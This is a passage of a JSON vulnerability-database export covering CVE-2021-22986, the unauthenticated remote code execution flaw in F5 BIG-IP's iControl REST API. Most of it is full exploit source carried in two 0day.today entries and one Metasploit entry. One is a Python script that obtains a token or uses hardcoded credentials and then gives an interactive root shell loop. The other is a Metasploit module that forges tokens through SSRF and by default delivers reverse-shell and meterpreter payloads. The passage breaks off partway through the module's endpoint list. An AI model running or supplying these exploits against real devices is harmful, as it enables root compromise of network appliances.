BIG-IP module(s) ' + tested + ',';\n if (tested) audit(AUDIT_INST_VER_NOT_VULN, audit_extra, version);\n else audit(AUDIT_HOST_NOT, 'running any of the affected modules');\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T14:45:03", "description": "A remote code execution vulnerability exists in the iControl REST API feature of F5's BIG-IP product. An unauthenticated, remote attacker can exploit this to bypass authentication and execute arbitrary commands with root privileges.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-24T00:00:00", "type": "nessus", "title": "F5 BIG-IP RCE (CVE-2021-22986)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2022-12-05T00:00:00", "cpe": ["cpe:/h:f5:big-ip"], "id": "F5_CVE-2021-22986.NBIN", "href": "https://www.tenable.com/plugins/nessus/148022", "sourceData": "Binary data f5_cve-2021-22986.nbin", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2021-10-12T11:09:51", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-02T00:00:00", "type": "zdt", "title": "F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated) Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2021-04-02T00:00:00", "id": "1337DAY-ID-36067", "href": "https://0day.today/exploit/description/36067", "sourceData": "# Exploit Title: F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)\r\n# Exploit Author: Al1ex\r\n# Vendor Homepage: https://www.f5.com/products/big-ip-services\r\n# Version: 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2\r\n# CVE : CVE-2021-22986\r\n\r\nimport requests\r\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\r\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\r\nimport sys\r\n\r\n\r\ndef title():\r\n print('''\r\n ______ ____ ____ _______ ___ ___ ___ __ ___ ___ ___ ___ __ \r\n / |\\ \\ / / | ____| |__ \\ / _ \\ |__ \\ /_ | |__ \\ |__ \\ / _ \\ / _ \\ / / \r\n | ,----' \\ \\/ / | |__ ______ ) | | | | | ) | | | ______ ) | ) | | (_) | | (_) | / /_ \r\n | | \\ / | __| |______/ / | | | | / / | | |______/ / / / \\__, | > _ < | '_ \\ \r\n | `----. \\ / | |____ / /_ | |_| | / /_ | | / /_ / /_ / / | (_) | | (_) | \r\n \\______| \\__/ |_______| |____| \\___/ |____| |_| |____| |____| /_/ \\___/ \\___/ \r\n \r\n Author:[email\u00a0protected]\r\n Github:https://github.com/Al1ex\r\n ''') \r\n\r\ndef exploit(url):\r\n\ttarget_url = url + '/mgmt/shared/authn/login'\r\n\tdata = {\r\n\t\t\"bigipAuthCookie\":\"\",\r\n\t\t\"username\":\"admin\",\r\n\t\t\"loginReference\":{\"link\":\"/shared/gossip\"},\r\n\t\t\"userReference\":{\"link\":\"https://localhost/mgmt/shared/authz/users/admin\"}\r\n\t}\r\n\theaders = {\r\n\t\t\"User-Agent\": \"hello-world\",\r\n\t\t\"Content-Type\":\"application/x-www-form-urlencoded\"\r\n\t}\r\n\tresponse = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)\r\n\tif \"/mgmt/shared/authz/tokens/\" not in response.text:\r\n\t\tprint('(-) Get token fail !!!')\r\n\t\tprint('(*) Tested Method 2:') \r\n\t\theader_2 = {\r\n\t\t 'User-Agent': 'hello-world',\r\n\t\t 'Content-Type': 'application/json',\r\n\t\t 'X-F5-Auth-Token': '',\r\n\t\t 'Authorization': 'Basic YWRtaW46QVNhc1M='\r\n\t\t}\r\n\t\tdata_2 = {\r\n\t\t\t\"command\": \"run\", \r\n\t\t\t\"utilCmdArgs\": \"-c whoami\"\r\n\t\t}\r\n\t\tcheck_url = url + '/mgmt/tm/util/bash'\r\n\t\ttry:\r\n\t\t\tresponse2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)\r\n\t\t\tif response2.status_code == 200 and 'commandResult' in response2.text:\r\n\t\t\t\twhile True:\r\n\t\t\t\t\tcmd = input(\"(:CMD)> \")\r\n\t\t\t\t\tdata_3 = {\"command\": \"run\", \"utilCmdArgs\": \"-c '%s'\"%(cmd)}\r\n\t\t\t\t\tr = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)\r\n\t\t\t\t\tif r.status_code == 200 and 'commandResult' in r.text:\r\n\t\t\t\t\t\tprint(r.text.split('commandResult\":\"')[1].split('\"}')[0].replace('\\\\n', ''))\r\n\t\t\telse:\r\n\t\t\t\tprint('(-) Not vuln...')\r\n\t\t\t\texit(0)\r\n\t\texcept Exception:\r\n\t\t\tprint('ERROR Connect')\r\n\tprint('(+) Extract token: %s'%(response.text.split('\"selfLink\":\"https://localhost/mgmt/shared/authz/tokens/')[1].split('\"}')[0]))\r\n\twhile True:\r\n\t\tcmd = input(\"(:CMD)> \")\r\n\t\theaders = {\r\n\t\t\t\"Content-Type\": \"application/json\",\r\n\t\t\t\"X-F5-Auth-Token\": \"%s\"%(response.text.split('\"selfLink\":\"https://localhost/mgmt/shared/authz/tokens/')[1].split('\"}')[0])\r\n\t\t}\r\n\t\tdata_json = {\r\n\t\t\t\"command\": \"run\", \r\n\t\t\t\"utilCmdArgs\": \"-c \\'%s\\'\"%(cmd)\r\n\t\t}\r\n\t\texp_url= url + '/mgmt/tm/util/bash'\r\n\t\texp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)\r\n\t\tif exp_req.status_code == 200 and 'commandResult' in exp_req.text:\r\n\t\t\tprint(exp_req.text.split('commandResult\":\"')[1].split('\"}')[0].replace('\\\\n', ''))\r\n\t\telse:\r\n\t\t\tprint('(-) Not vuln...')\r\n\t\t\texit(0)\r\n\r\nif __name__ == '__main__':\r\n title()\r\n if(len(sys.argv) < 2):\r\n \tprint('[+] USAGE: python3 %s https://<target_url>\\n'%(sys.argv[0]))\r\n \texit(0)\r\n else:\r\n \texploit(sys.argv[1])\n\n# 0day.today [2021-10-12] #", "sourceHref": "https://0day.today/exploit/36067", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-12T11:09:51", "description": "This Metasploit module exploits a pre-authentication server-side request forgery vulnerability in the F5 iControl REST API's /mgmt/shared/authn/login endpoint to generate an X-F5-Auth-Token that can be used to execute root commands on an affected BIG-IP or BIG-IQ device.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-02T00:00:00", "type": "zdt", "title": "F5 iControl Server-Side Request Forgery / Remote Command Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2021-04-02T00:00:00", "id": "1337DAY-ID-36066", "href": "https://0day.today/exploit/description/36066", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n\r\n Rank = ExcellentRanking\r\n\r\n prepend Msf::Exploit::Remote::AutoCheck\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Exploit::CmdStager\r\n\r\n def initialize(info = {})\r\n super(\r\n update_info(\r\n info,\r\n 'Name' => 'F5 iControl REST Unauthenticated SSRF Token Generation RCE',\r\n 'Description' => %q{\r\n This module exploits a pre-auth SSRF in the F5 iControl REST API's\r\n /mgmt/shared/authn/login endpoint to generate an X-F5-Auth-Token that\r\n can be used to execute root commands on an affected BIG-IP or BIG-IQ\r\n device. This vulnerability is known as CVE-2021-22986.\r\n\r\n CVE-2021-22986 affects the following BIG-IP versions:\r\n\r\n * 12.1.0 - 12.1.5\r\n * 13.1.0 - 13.1.3\r\n * 14.1.0 - 14.1.3\r\n * 15.1.0 - 15.1.2\r\n * 16.0.0 - 16.0.1\r\n\r\n And the following BIG-IQ versions:\r\n\r\n * 6.0.0 - 6.1.0\r\n * 7.0.0\r\n * 7.1.0\r\n\r\n Tested against BIG-IP Virtual Edition 16.0.1 in VMware Fusion.\r\n },\r\n 'Author' => [\r\n 'wvu', # Analysis and exploit\r\n 'Rich Warren' # First blood (RCE) and endpoint collaboration\r\n ],\r\n 'References' => [\r\n ['CVE', '2021-22986'],\r\n ['URL', 'https://support.f5.com/csp/article/K03009991'],\r\n ['URL', 'https://attackerkb.com/assessments/f6b19d24-b24e-4abd-98cf-2988d7424311'],\r\n ['URL', 'https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/']\r\n # https://clouddocs.f5.com/products/big-iq/mgmt-api/v7.0.0/ApiReferences/bigiq_public_api_ref/r_auth_login.html\r\n ],\r\n 'DisclosureDate' => '2021-03-10', # Vendor advisory\r\n 'License' => MSF_LICENSE,\r\n 'Platform' => ['unix', 'linux'],\r\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\r\n 'Privileged' => true,\r\n 'Targets' => [\r\n [\r\n 'Unix Command',\r\n {\r\n 'Platform' => 'unix',\r\n 'Arch' => ARCH_CMD,\r\n 'Type' => :unix_cmd,\r\n 'DefaultOptions' => {\r\n 'PAYLOAD' => 'cmd/unix/reverse_python_ssl'\r\n }\r\n }\r\n ],\r\n [\r\n 'Linux Dropper',\r\n {\r\n 'Platform' => 'linux',\r\n 'Arch' => [ARCH_X86, ARCH_X64],\r\n 'Type' => :linux_dropper,\r\n 'DefaultOptions' => {\r\n 'CMDSTAGER::FLAVOR' => :bourne,\r\n 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\r\n }\r\n }\r\n ]\r\n ],\r\n 'DefaultTarget' => 0,\r\n 'DefaultOptions' => {\r\n 'SSL' => true\r\n },\r\n 'Notes' => {\r\n 'Stability' => [CRASH_SAFE],\r\n 'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session\r\n 'SideEffects' => [\r\n IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated)\r\n ACCOUNT_LOCKOUTS, # Unlikely with bigipAuthCookie\r\n ARTIFACTS_ON_DISK # CmdStager\r\n ]\r\n }\r\n )\r\n )\r\n\r\n register_options([\r\n Opt::RPORT(443),\r\n OptString.new('TARGETURI', [true, 'Base path', '/']),\r\n OptString.new('USERNAME', [true, 'Valid admin username', 'admin']),\r\n OptString.new('ENDPOINT', [false, 'Custom token generation endpoint'])\r\n ])\r\n\r\n register_advanced_options([\r\n OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])\r\n ])\r\n end\r\n\r\n def username\r\n datastore['USERNAME']\r\n end\r\n\r\n def user_reference_endpoint\r\n normalize_uri(target_uri.path, '/mgmt/shared/authz/users', username)\r\n end\r\n\r\n def check\r\n generate_token_ssrf ? CheckCode::Vulnerable : CheckCode::Safe\r\n end\r\n\r\n def exploit\r\n return unless (@token ||= generate_token_ssrf)\r\n\r\n print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\r\n\r\n case target['Type']\r\n when :unix_cmd\r\n execute_command(payload.encoded)\r\n when :linux_dropper\r\n execute_cmdstager\r\n end\r\n end\r\n\r\n def generate_token_ssrf\r\n print_status('Generating token via SSRF...')\r\n vprint_status(\"Username: #{username}\")\r\n vprint_status(\"Endpoint: #{login_reference_endpoint}\")\r\n\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),\r\n 'ctype' => 'application/json',\r\n 'data' => {\r\n 'username' => username,\r\n 'bigipAuthCookie' => '',\r\n 'authProviderName' => 'local',\r\n 'loginReference' => {\r\n 'link' => \"https://localhost#{login_reference_endpoint}\"\r\n },\r\n 'userReference' => {\r\n 'link' => \"https://localhost#{user_reference_endpoint}\"\r\n }\r\n }.to_json\r\n )\r\n\r\n unless res&.code == 200 && (@token = res.get_json_document.dig('token', 'token'))\r\n print_error('Failed to generate token')\r\n return\r\n end\r\n\r\n print_good(\"Successfully generated token: #{@token}\")\r\n @token\r\n end\r\n\r\n def execute_command(cmd, _opts = {})\r\n bash_cmd = \"eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)\"\r\n\r\n print_status(\"Executing command: #{bash_cmd}\")\r\n\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'),\r\n 'ctype' => 'application/json',\r\n 'headers' => {\r\n 'X-F5-Auth-Token' => @token\r\n },\r\n 'data' => {\r\n 'command' => 'run',\r\n 'utilCmdArgs' => \"-c '#{bash_cmd}'\"\r\n }.to_json\r\n }, datastore['CmdExecTimeout'])\r\n\r\n unless res\r\n vprint_warning('Command execution timed out')\r\n return\r\n end\r\n\r\n unless res.code == 200 && res.get_json_document['kind'] == 'tm:util:bash:runstate'\r\n fail_with(Failure::PayloadFailed, 'Failed to execute command')\r\n end\r\n\r\n print_good('Successfully executed command')\r\n\r\n return unless (cmd_result = res.get_json_document['commandResult'])\r\n\r\n vprint_line(cmd_result)\r\n end\r\n\r\n def login_reference_endpoint\r\n if datastore['ENDPOINT']\r\n return normalize_uri(target_uri.path, datastore['ENDPOINT'])\r\n end\r\n\r\n @token_generation_endpoint ||= token_generation_endpoints.sample\r\n\r\n normalize_uri(target_uri.path, @token_generation_endpoint)\r\n end\r\n\r\n # Usable token generation endpoints between versions 12.1.4 and 16.0.1\r\n def token_generation_endpoints\r\n %w[\r\n /access/file-path-manager/indexing\r\n /cm/autodeploy/cluster-software-images/indexing\r\n /cm/autodeploy/qkview/indexing\r\n /cm/autodeploy/software-images/indexing\r\n /cm/autodeploy/software-volume-install/indexing\r\n /cm/system/authn/providers/tmos/1f44a60e-11a7-3c51-a49f-82983026b41b/users/indexing\r\n /cm/system/authn/providers/tmos/indexing\r\n /mgmt/shared/analytics/avr-proxy-tasks\r\n /mgmt/shared/gossip\r\n /mgmt/shared/gossip-peer-refresher\r\n /mgmt/shared/identified-devices/config/device-refresh\r\n /mgmt/shared/save-config\r\n /mgmt/tm/shared/bigip-failover-state\r\n /shared/analytics/avr-proxy-tasks\r\n /shared/analytics/avr-proxy-tasks/indexing\r\n /shared/analytics/event-aggregation-tasks/indexing\r\n /shared/analytics/event-analysis-tasks/indexing\r\n /shared/authn/providers/local/groups/indexing\r\n /shared/authz/remote-resources/indexing\r\n /shared/authz/resource-groups/indexing\r\n /shared/authz/roles/indexing\r\n /shared/authz/tokens/indexing\r\n /shared/chassis-framework-upgrades/indexing\r\n /shared/device-discovery-tasks/indexing\r\n /shared/device-group-key-pairs/indexing\r\n /shared/echo/indexing\r\n /shared/framework-info-tasks/indexing\r\n /shared/framework-upgrades/indexing\r\n /shared/gossip\r\n /shared/gossip-peer-refresher\r\n /shared/group-task/indexing\r\n /shared/iapp/blocks/indexing\r\n /shared/iapp/build-package/indexing\r\n /shared/iapp/health-prefix-map/indexing\r\n /shared/iapp/package-management-tasks/indexing\r\n /shared/iapp/template-loader/indexing\r\n /shared/identified-devices/config/device-refresh\r\n /shared/nodejs/loader-path-config/indexing\r\n /shared/package-deployments/indexing\r\n /shared/resolver/device-groups/indexing\r\n /shared/resolver/device-groups/tm-shared-all-big-ips/devices/indexing\r\n /shared/root-framework-upgrades/indexing\r\n /shared/rpm-tasks/indexing\r\n /shared/save-config\r\n /shared/snapshot-task/indexing\r\n /shared/snapshot/indexing\r\n /shared/stats-information/indexing\r\n /shared/storage/tasks/indexing\r\n /shared/task-scheduler/scheduler/indexing\r\n /shared/tmsh-shell/indexing\r\n /tm/analytics/afm-sweeper/generate-report/indexing\r\n /tm/analytics/afm-sweeper/report-results/indexing\r\n /tm/analytics/application-security-anomalies/generate-report/indexing\r\n /tm/analytics/application-security-anomalies/report-results/indexing\r\n /tm/analytics/application-security-network/generate-report/indexing\r\n /tm/analytics/application-security-network/report-results/indexing\r\n /tm/analytics/application-security/generate-report/indexing\r\n /tm/analytics/application-security/report-results/indexing\r\n /tm/analytics/asm-bypass/generate-report/indexing\r\n /tm/analytics/asm-bypass/report-results/indexing\r\n /tm/analytics/asm-cpu/generate-report/indexing\r\n /tm/analytics/asm-cpu/report-results/indexing\r\n /tm/analytics/asm-memory/generate-report/indexing\r\n /tm/analytics/asm-memory/report-results/indexing\r\n /tm/analytics/cpu/generate-report/indexing\r\n /tm/analytics/cpu/report-results/indexing\r\n /tm/analytics/disk-info/generate-report/indexing\r\n /tm/analytics/disk-info/report-results/indexing\r\n /tm/analytics/dns/generate-report/indexing\r\n /tm/analytics/dns/report-results/indexing\r\n /tm/analytics/dos-l3/generate-report/indexing\r\n /tm/analytics/dos-l3/report-results/indexing\r\n /tm/analytics/http/generate-report/indexing\r\n /tm/analytics/http/report-results/indexing\r\n /tm/analytics/ip-intelligence/generate-report/indexing\r\n /tm/analytics/ip-intelligence/report-results/indexing\r\n /tm/analytics/ip-layer/generate-report/indexing\r\n /tm/analytics/ip-layer/report-results/indexing\r\n /tm/analytics/lsn-pool/generate-report/indexing\r\n /tm/analytics/lsn-pool/report-results/indexing\r\n /tm/analytics/memory/generate-report/indexing\r\n /tm/analytics/memory/report-results/indexing\r\n /tm/analytics/network/generate-report/indexing\r\n /tm/analytics/network/report-results/indexing\r\n /tm/analytics/pem/generate-report/indexing\r\n /tm/analytics/pem/report-results/indexing\r\n /tm/analytics/proc-cpu/generate-report/indexing\r\n /tm/analytics/proc-cpu/report-results/indexing\r\n /tm/analytics/protocol-security-http/generate-report/indexing\r\n /tm/analytics/protocol-security-http/report-results/indexing\r\n /tm/analytics/protocol-security/generate-report/indexing\r\n /tm/analytics/protocol-security/report-results/indexing\r\n /tm/analytics/sip/generate-report/indexing\r\n /tm/analytics/sip/report-results/indexing\r\n /tm/analytics/swg-blocked/generate-report/indexing\r\n /tm/analytics/swg-blocked/report-results/indexing\r\n /tm/analytics/swg/generate-report/indexing\r\n /tm/analytics/swg/report-results/indexing\r\n /tm/analytics/tcp-analytics/generate-report/indexing\r\n /tm/analytics/tcp-analytics/report-results/indexing\r\n /tm/analytics/tcp/generate-report/indexing\r\n /tm/analytics/tcp/report-results/indexing\r\n /tm/analytics/udp/generate-report/indexing\r\n /tm/analytics/udp/report-results/indexing\r\n /tm/analytics/vcmp/generate-report/indexing\r\n /tm/analytics/vcmp/report-results/indexing\r\n /tm/analytics/virtual/generate-report/indexing\r\n /tm/analytics/virtual/report-results/indexing\r\n /tm/shared/bigip-failover-state\r\n /tm/shared/sys/backup/indexing\r\n ]\r\n end\r\n\r\nend\n\n# 0day.today [2021-10-12] #", "sourceHref": "https://0day.today/exploit/36066", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2022-10-28T23:24:07", "description": "This module exploits a pre-auth SSRF in the F5 iControl REST API's /mgmt/shared/authn/login endpoint to generate an X-F5-Auth-Token that can be used to execute root commands on an affected BIG-IP or BIG-IQ device. This vulnerability is known as CVE-2021-22986. CVE-2021-22986 affects the following BIG-IP versions: * 12.1.0 - 12.1.5 * 13.1.0 - 13.1.3 * 14.1.0 - 14.1.3 * 15.1.0 - 15.1.2 * 16.0.0 - 16.0.1 And the following BIG-IQ versions: * 6.0.0 - 6.1.0 * 7.0.0 * 7.1.0 Tested against BIG-IP Virtual Edition 16.0.1 in VMware Fusion.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-31T19:02:32", "type": "metasploit", "title": "F5 iControl REST Unauthenticated SSRF Token Generation RCE", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2021-06-03T01:32:47", "id": "MSF:EXPLOIT-LINUX-HTTP-F5_ICONTROL_REST_SSRF_RCE-", "href": "https://www.rapid7.com/db/modules/exploit/linux/http/f5_icontrol_rest_ssrf_rce/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'F5 iControl REST Unauthenticated SSRF Token Generation RCE',\n 'Description' => %q{\n This module exploits a pre-auth SSRF in the F5 iControl REST API's\n /mgmt/shared/authn/login endpoint to generate an X-F5-Auth-Token that\n can be used to execute root commands on an affected BIG-IP or BIG-IQ\n device. This vulnerability is known as CVE-2021-22986.\n\n CVE-2021-22986 affects the following BIG-IP versions:\n\n * 12.1.0 - 12.1.5\n * 13.1.0 - 13.1.3\n * 14.1.0 - 14.1.3\n * 15.1.0 - 15.1.2\n * 16.0.0 - 16.0.1\n\n And the following BIG-IQ versions:\n\n * 6.0.0 - 6.1.0\n * 7.0.0\n * 7.1.0\n\n Tested against BIG-IP Virtual Edition 16.0.1 in VMware Fusion.\n },\n 'Author' => [\n 'wvu', # Analysis and exploit\n 'Rich Warren' # First blood (RCE) and endpoint collaboration\n ],\n 'References' => [\n ['CVE', '2021-22986'],\n ['URL', 'https://support.f5.com/csp/article/K03009991'],\n ['URL', 'https://attackerkb.com/assessments/f6b19d24-b24e-4abd-98cf-2988d7424311'],\n ['URL', 'https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/']\n # https://clouddocs.f5.com/products/big-iq/mgmt-api/v7.0.0/ApiReferences/bigiq_public_api_ref/r_auth_login.html\n ],\n 'DisclosureDate' => '2021-03-10', # Vendor advisory\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/reverse_python_ssl'\n }\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper,\n 'DefaultOptions' => {\n 'CMDSTAGER::FLAVOR' => :bourne,\n 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'SSL' => true\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session\n 'SideEffects' => [\n IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated)\n ACCOUNT_LOCKOUTS, # Unlikely with bigipAuthCookie\n ARTIFACTS_ON_DISK # CmdStager\n ]\n }\n )\n )\n\n register_options([\n Opt::RPORT(443),\n OptString.new('TARGETURI', [true, 'Base path', '/']),\n OptString.new('USERNAME', [true, 'Valid admin username', 'admin']),\n OptString.new('ENDPOINT', [false, 'Custom token generation endpoint'])\n ])\n\n register_advanced_options([\n OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])\n ])\n end\n\n def username\n datastore['USERNAME']\n end\n\n def user_reference_endpoint\n normalize_uri(target_uri.path, '/mgmt/shared/authz/users', username)\n end\n\n def check\n generate_token_ssrf ? CheckCode::Vulnerable : CheckCode::Safe\n end\n\n def exploit\n return unless (@token ||= generate_token_ssrf)\n\n print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\n case target['Type']\n when :unix_cmd\n execute_command(payload.encoded)\n when :linux_dropper\n execute_cmdstager\n end\n end\n\n def generate_token_ssrf\n print_status('Generating token via SSRF...')\n vprint_status(\"Username: #{username}\")\n vprint_status(\"Endpoint: #{login_reference_endpoint}\")\n\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),\n 'ctype' => 'application/json',\n 'data' => {\n 'username' => username,\n 'bigipAuthCookie' => '',\n 'authProviderName' => 'local',\n 'loginReference' => {\n 'link' => \"https://localhost#{login_reference_endpoint}\"\n },\n 'userReference' => {\n 'link' => \"https://localhost#{user_reference_endpoint}\"\n }\n }.to_json\n )\n\n unless res&.code == 200 && (@token = res.get_json_document.dig('token', 'token'))\n print_error('Failed to generate token')\n return\n end\n\n print_good(\"Successfully generated token: #{@token}\")\n @token\n end\n\n def execute_command(cmd, _opts = {})\n bash_cmd = \"eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)\"\n\n print_status(\"Executing command: #{bash_cmd}\")\n\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'),\n 'ctype' => 'application/json',\n 'headers' => {\n 'X-F5-Auth-Token' => @token\n },\n 'data' => {\n 'command' => 'run',\n 'utilCmdArgs' => \"-c '#{bash_cmd}'\"\n }.to_json\n }, datastore['CmdExecTimeout'])\n\n unless res\n print_warning('Command execution timed out')\n return\n end\n\n json = res.get_json_document\n\n unless res.code == 200 && json['kind'] == 'tm:util:bash:runstate'\n fail_with(Failure::PayloadFailed, 'Failed to execute command')\n end\n\n print_good('Successfully executed command')\n\n return unless (cmd_result = json['commandResult'])\n\n vprint_line(cmd_result)\n end\n\n def login_reference_endpoint\n if datastore['ENDPOINT']\n return normalize_uri(target_uri.path, datastore['ENDPOINT'])\n end\n\n @token_generation_endpoint ||= token_generation_endpoints.sample\n\n normalize_uri(target_uri.path, @token_generation_endpoint)\n end\n\n # Usable token generation endpoints between versions 12.1.4 and 16.0.1\n def token_generation_endpoints\n %w[\n /access/file-path-manager/indexing\n /cm/autodeploy/cluster-software-images/indexing\n /cm/autodeploy/qkview/indexing\n 